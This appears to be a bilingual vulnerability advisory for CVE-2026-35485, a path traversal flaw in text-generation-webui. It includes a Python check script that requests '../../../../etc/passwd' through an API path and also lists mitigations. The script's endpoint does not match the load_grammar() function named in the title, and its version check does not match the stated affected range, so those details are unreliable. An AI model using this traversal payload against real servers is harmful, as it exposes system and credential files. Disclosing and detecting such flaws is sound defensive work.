text-generation-webui 在 load_grammar() 中存在路径遍历漏洞 — 未经身份验证即可读取任意文件

该路径遍历漏洞的潜在影响非常严重。攻击者可以利用此漏洞读取服务器上的敏感文件，例如配置文件、数据库凭据、源代码，甚至操作系统文件（如 /etc/passwd）。成功利用此漏洞可能导致信息泄露、权限提升，甚至完全控制受影响的服务器。由于漏洞无需身份验证，攻击者可以匿名利用此漏洞，进一步扩大了其潜在影响范围。该漏洞的利用方式类似于其他常见的路径遍历漏洞，攻击者通过构造包含“../”的有效载荷来绕过文件系统访问控制。

Organizations and individuals deploying text-generation-webui, particularly those running older versions (prior to 4.3.0) in production environments, are at risk. Shared hosting environments where multiple users share the same server are also particularly vulnerable, as an attacker could potentially exploit this vulnerability to access files belonging to other users.

• python / server:

import os
import requests

# Check for vulnerable versions
version_url = 'http://localhost:7860/api/version'
response = requests.get(version_url)
version = response.json().get('version', 'unknown')
if version and float(version.split('.')[0]) < 4:
    print('Vulnerable version detected!')

# Attempt path traversal
url = 'http://localhost:7860/api/file/../../../../etc/passwd'
response = requests.get(url)
if 'root:x:' in response.text:
    print('Path traversal detected!')

1. 2026-04-07Disclosure

   disclosure

1. 已保留2026-04-02
2. 发布日期2026-04-07
3. EPSS 更新日期2026-04-15

为了缓解 CVE-2026-35485 的影响，首要措施是立即升级 text-generation-webui 至 4.3.0 或更高版本。如果无法立即升级，可以考虑以下临时缓解措施：限制对 text-generation-webui API 的访问，仅允许授权用户访问。实施严格的文件访问控制，确保 web 应用只能访问其所需的文件。监控服务器日志，查找可疑的文件访问尝试。如果使用反向代理或 Web 应用防火墙 (WAF)，配置规则以阻止目录遍历攻击。升级后，请验证文件访问控制是否正常工作，确保攻击者无法访问敏感文件。